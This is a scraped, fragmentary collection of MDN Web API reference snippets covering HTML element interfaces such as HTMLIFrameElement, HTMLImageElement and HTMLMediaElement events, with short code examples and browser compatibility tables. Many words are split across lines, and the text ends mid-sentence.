HTMLIFrameElement.referrerPolicy - Web APIs
no-referrer-when-downgrade (default) this is the user agent's default beha
vior if no policy is specified.
... html li
ving standardthe definition of 'htmliframeelement: referrerpolicy' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie no support noopera full support 38safari full support 11.1web
view android full support 51chrome android ...
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html li
ving standardthe definition of 'htmliframeelement: src' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsrcchrome full support 43edge full support 12firefox full support yesie ?
... opera full support yessafari full support 6web
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
HTMLImageElement.align - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.align' in that specification.
... li
ving standard html 4.01 specificationthe definition of 'htmlimageelement.align' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalignchrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.border - Web APIs
for example, if you have the following html: <img src="image.png" border="2"> the following will pro
vide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further pro
vide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html li
ving standardthe definition of 'htmlimageeleme...
... li
ving standard html 4.01 specificationthe definition of 'htmlimageelement.border' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.crossOrigin - Web APIs
the htmlimageelement interface's crossorigin attribute is a string which specifies the cross-origin resource sharing (cors) setting to use when retrie
ving the image.
... me.</p> </div> css body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output { background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.crossorigin' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcrossoriginchrome full support 13edge full support 12firefox full support yesie full support 9opera full support yessafari full support ...
... yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.isMap - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.ismap' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetismapchrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.naturalHeight - Web APIs
this natural height is corrected for the pixel density of the de
vice on which it's being presented, unlike height.
... result specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.naturalheight' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnaturalheightchrome full support 1edge full support 12firefox full support yesie full support 9opera full support yessafari full support yesweb
view android full support yeschrome android ...
HTMLImageElement.naturalWidth - Web APIs
this natural width is corrected for the pixel density of the de
vice on which it's being presented, unlike the value of width.
... result specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.naturalwidth' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnaturalwidthchrome full support 1edge full support 12firefox full support yesie full support 9opera full support yessafari full support yesweb
view android full support yeschrome android ...
HTMLImageElement.vspace - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.vspace' in that specification.
... li
ving standard html 4.01 specificationthe definition of 'htmlimageelement.vspace' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvspacechrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
HTMLLIElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
...as the standard way of defining the list type is
via the css list-style-type property, use the cssom methods to set it
via a script.
... specifications specification status comment html li
ving standardthe definition of 'htmllielement' in that specification.
... li
ving standard html5the definition of 'htmllielement' in that specification.
HTMLMapElement - Web APIs
the htmlmapelement interface pro
vides special properties and methods (beyond those of the regular object htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of map elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlmapelement' in that specification.
... li
ving standard html5the definition of 'htmlmapelement' in that specification.
HTMLMediaElement.autoplay - Web APIs
note: sites which automatically play audio (or
videos with an audio track) can be an unpleasant experience for users, so it should be avoided when possible.
... note: some browsers offer users the ability to override autoplay in order to prevent disruptive audio or
video from playing without permission or in the background.
... <
video id="
video" controls> <source src="https://player.
vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </
video> *** disable autoplay (recommended) *** false is the default value document.queryselector('#
video').autoplay = false; specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.autoplay' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.autoplay' in that specification.
HTMLMediaElement: canplay event - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without ha
ving to stop for further buffering of content.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('canplay', (event) => { console.log('
video can start, but not sure it will play through.'); }); using the oncanplay event handler property: const
video = document.queryselector('
video');
video.oncanplay = (event) => { console.log('
video can start, but not sure it will play through.'); }; specifications specification ...
... status html li
ving standardthe definition of 'canplay media event' in that specification.
... li
ving standard html5the definition of 'canplay media event' in that specification.
HTMLMediaElement: canplaythrough event - Web APIs
the canplaythrough event is fired when the user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without ha
ving to stop for further buffering of content.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('canplaythrough', (event) => { console.log('i think i can play through the entire ' + '
video without ever ha
ving to stop to buffer.'); }); using the oncanplaythrough event handler property: const
video = document.queryselector('
video');
video.oncanplaythrough = (event) => { console.log('i think i can play thru the entire ...
...' + '
video without ever ha
ving to stop to buffer.'); }; specifications specification status html li
ving standardthe definition of 'canplaythrough media event' in that specification.
... li
ving standard html5the definition of 'canplaythrough media event' in that specification.
HTMLMediaElement: emptied event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('emptied', (event) => { console.log('uh oh.
...did you call load()?'); }); using the onemptied event handler property: const
video = document.queryselector('
video');
video.onemptied = (event) => { console.log('uh oh.
...did you call load()?'); }; specifications specification status html li
ving standardthe definition of 'emptied media event' in that specification.
... li
ving standard html5the definition of 'emptied media event' in that specification.
HTMLMediaElement: ended event - Web APIs
this event occurs based upon htmlmediaelement (<audio> and <
video>) fire ended when playback of the media reaches the end of the media.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('ended', (event) => { console.log('
video stopped either because 1) it was over, ' + 'or 2) no further data is available.'); }); using the onended event handler property: const
video = document.queryselector('
video');
video.onended = (event) => { console.log('
video stopped either because 1) it was over, ' + 'or 2) no ...
...further data is available.'); }; specifications specification status html li
ving standardthe definition of 'ended media event' in that specification.
... li
ving standard html5the definition of 'ended media event' in that specification.
HTMLMediaElement: loadedmetadata event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('loadedmetadata', (event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known.
... '); }); using the onloadedmetadata event handler property: const
video = document.queryselector('
video');
video.onloadedmetadata = (event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known.
... '); }; specifications specification status html li
ving standardthe definition of 'loadedmetadata media event' in that specification.
... li
ving standard html5the definition of 'canplay media event' in that specification.
HTMLMediaElement: loadstart event - Web APIs
bubbles no cancelable no interface event event handler property onloadstart examples live example html <div class="example"> <button type="button">load
video</button> <
video controls width="250"></
video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "
video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } ...
...
video { grid-area:
video; } .event-log { grid-area: log; } .event-log>label { display: block; } js const load
video = document.queryselector('button'); const
video = document.queryselector('
video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; }
video.addeventlistener('loadstart', handleevent);
video.addeventlistener('progress', handleevent);
video.addeventlistener('canplay', handleevent);
video.addeventlistener('canplaythrough', handleevent); load
video.addeventlistener('click', () => { if (source) { document.location.reload(); } else { load
video.textcontent = "reset example"; source = document.createelement('s...
...ource'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', '
video/webm');
video.appendchild(source); } }); result specifications specification status html li
ving standardthe definition of 'loadstart media event' in that specification.
... li
ving standard html5the definition of 'loadstart media event' in that specification.
HTMLMediaElement: play event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('play', (event) => { console.log('the boolean paused property is now false.
... either the ' + 'play() method was called or the autoplay attribute was toggled.'); }); using the onplay event handler property: const
video = document.queryselector('
video');
video.onplay = (event) => { console.log('the boolean paused property is now false.
... either the ' + 'play() method was called or the autoplay attribute was toggled.'); }; specifications specification status html li
ving standardthe definition of 'play media event' in that specification.
... li
ving standard html5the definition of 'play media event' in that specification.
HTMLMediaElement: progress event - Web APIs
bubbles no cancelable no interface event event handler property onprogress examples live example html <div class="example"> <button type="button">load
video</button> <
video controls width="250"></
video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "
video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; }
video...
... { grid-area:
video; } .event-log { grid-area: log; } .event-log>label { display: block; } javascript const load
video = document.queryselector('button'); const
video = document.queryselector('
video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; }
video.addeventlistener('loadstart', handleevent);
video.addeventlistener('progress', handleevent);
video.addeventlistener('canplay', handleevent);
video.addeventlistener('canplaythrough', handleevent); load
video.addeventlistener('click', () => { if (source) { document.location.reload(); } else { load
video.textcontent = "reset example"; source = document.createelement...
...('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', '
video/webm');
video.appendchild(source); } }); result specifications specification status html li
ving standardthe definition of 'progress media event' in that specification.
... li
ving standard html5the definition of 'progress media event' in that specification.
HTMLMediaElement.readyState - Web APIs
syntax var readystate = audioor
video.readystate; value an unsigned short.
... have_future_data 3 data for the current playback position as well as for at least a little bit of time into the future is available (in other words, at least two frames of
video, for example).
... <audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.readystate' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.readystate' in that specification.
HTMLMediaElement.seekToNextFrame() - Web APIs
you are, however, in
vited to experiment with it.
... this method lets you access frames of
video media without the media being performed in real time.
...possible uses for this method include filtering and editing of
video content.
... if there is no
video on the media element, or the media isn't seekable, nothing happens.
HTMLMediaElement.setSinkId() - Web APIs
the htmlmediaelement.setsinkid() method sets the id of the audio de
vice to use for output and returns a promise.
... this only works when the application is authorized to use the specified de
vice.
... parameters sinkid the mediade
viceinfo.de
viceid of the audio output de
vice.
... exceptions exception explanation domexception no permission to use the requested de
vice examples const de
vices = await na
vigator.mediade
vices.enumeratede
vices(); const audiode
vices = de
vices.filter(de
vice => de
vice.kind === 'audiooutput'); const audio = document.createelement('audio'); await audio.setsinkid(audiode
vices[0].de
viceid); console.log('audio is being played on ' + audio.sinkid); specifications specification status comment audio output de
vices apithe definition of 'sinkid' in that specification.
HTMLMeterElement - Web APIs
the html <meter> elements expose the htmlmeterelement interface, which pro
vides special properties and methods (beyond the htmlelement object interface they also have available to them by inheritance) for manipulating the layout and presentation of <meter> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlmeterelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlmeterelement' in that specification.
HTMLModElement - Web APIs
the htmlmodelement interface pro
vides special properties (beyond the regular methods and properties available through the htmlelement interface they also have available to them by inheritance) for manipulating modification elements, that is <del> and <ins>.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlanchorelement' in that specification.
... li
ving standard no change from html5.
HTMLOptGroupElement - Web APIs
the htmloptgroupelement interface pro
vides special properties and methods (beyond the regular htmlelement object interface they also have available to them by inheritance) for manipulating the layout and presentation of <optgroup> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmloptgroupelement' in that specification.
... li
ving standard html5the definition of 'htmloptgroupelement' in that specification.
HTMLOptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke=...
... htmloptionelement.label read only is a domstring that reflects the value of the label html attribute, which pro
vides a label for the option.
... specifications specification status comment html li
ving standardthe definition of 'htmloptionelement' in that specification.
... li
ving standard html5the definition of 'htmloptionelement' in that specification.
HTMLOrForeignElement.tabIndex - Web APIs
elements that have identical tabindex values should be na
vigated in the order they appear.
... na
vigation proceeds from the lowest tabindex to the highest tabindex.
... syntax element.tabindex = index; var index = element.tabindex; value index is an integer example const b1 = document.getelementbyid('button1'); b1.tabindex = 1; specifications specification status comment html li
ving standardthe definition of 'tabindex' in that specification.
... li
ving standard no change from document object model (dom) level 2 html specification.
HTMLParagraphElement - Web APIs
the htmlparagraphelement interface pro
vides special properties (beyond those of the regular htmlelement object interface it inherits) for manipulating <p> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlparagraphelement' in that specification.
... li
ving standard html5the definition of 'htmlparagraphelement' in that specification.
HTMLParamElement - Web APIs
the htmlparamelement interface pro
vides special properties (beyond those of the regular htmlelement object interface it inherits) for manipulating <param> elements, representing a pair of a key and a value that acts as a parameter for an <object> element.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlparamelement' in that specification.
... li
ving standard html5the definition of 'htmlparamelement' in that specification.
HTMLQuoteElement - Web APIs
the htmlquoteelement interface pro
vides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating quoting elements, like <blockquote> and <q>, but not the <cite> element.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlquoteelement' in that specification.
... li
ving standard html5the definition of 'htmlquoteelement' in that specification.
HTMLScriptElement.referrerPolicy - Web APIs
no-referrer-when-downgrade (default) this is the user agent's default beha
vior if no policy is specified.
... html li
ving standardthe definition of 'htmlscriptelement: referrerpolicy' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 70edge full support ≤79firefox full support 65ie no support noopera full support yessafari no support noweb
view android full support 70chrome android ...
HTMLStyleElement - Web APIs
to manipulate css, see using dynamic styling information for an over
view of the objects used to manipulate specified css properties using the dom.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlstyleelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlstyleelement' in that specification.
HTMLTableColElement - Web APIs
the htmltablecolelement interface pro
vides special properties (beyond the htmlelement interface it also has available to it inheritance) for manipulating single or grouped table column elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmltablecolelement' in that specification.
... li
ving standard no change from html5.
HTMLTableElement - Web APIs
the htmltableelement interface pro
vides special properties and methods (beyond the regular htmlelement object interface it also has available to it by inheritance) for manipulating the layout and presentation of tables in an html document.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmltableelement' in that specification.
... li
ving standard added the sortable property and the stopsorting() method.
HTMLTableRowElement - Web APIs
the htmltablerowelement interface pro
vides special properties and methods (beyond the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of rows in an html table.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmltablerowelement' in that specification.
... li
ving standard html5the definition of 'htmltablerowelement' in that specification.
HTMLTableSectionElement - Web APIs
the htmltablesectionelement interface pro
vides special properties and methods (beyond the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of sections, that is headers, footers and bodies, in an html table.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmltablesectionelement' in that specification.
... li
ving standard html5the definition of 'htmltablesectionelement' in that specification.
HTMLTimeElement - Web APIs
the htmltimeelement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <time> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmltimeelement' in that specification.
... li
ving standard html 5.1the definition of 'htmltimeelement' in that specification.
HTMLTrackElement - Web APIs
this element can be used as a child of either <audio> or <
video> to specify a text track containing information such as closed captions or subtitles.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmltrackelement' in that specification.
... li
ving standard html5the definition of 'htmltrackelement' in that specification.
HTML Drag and Drop API - Web APIs
this over
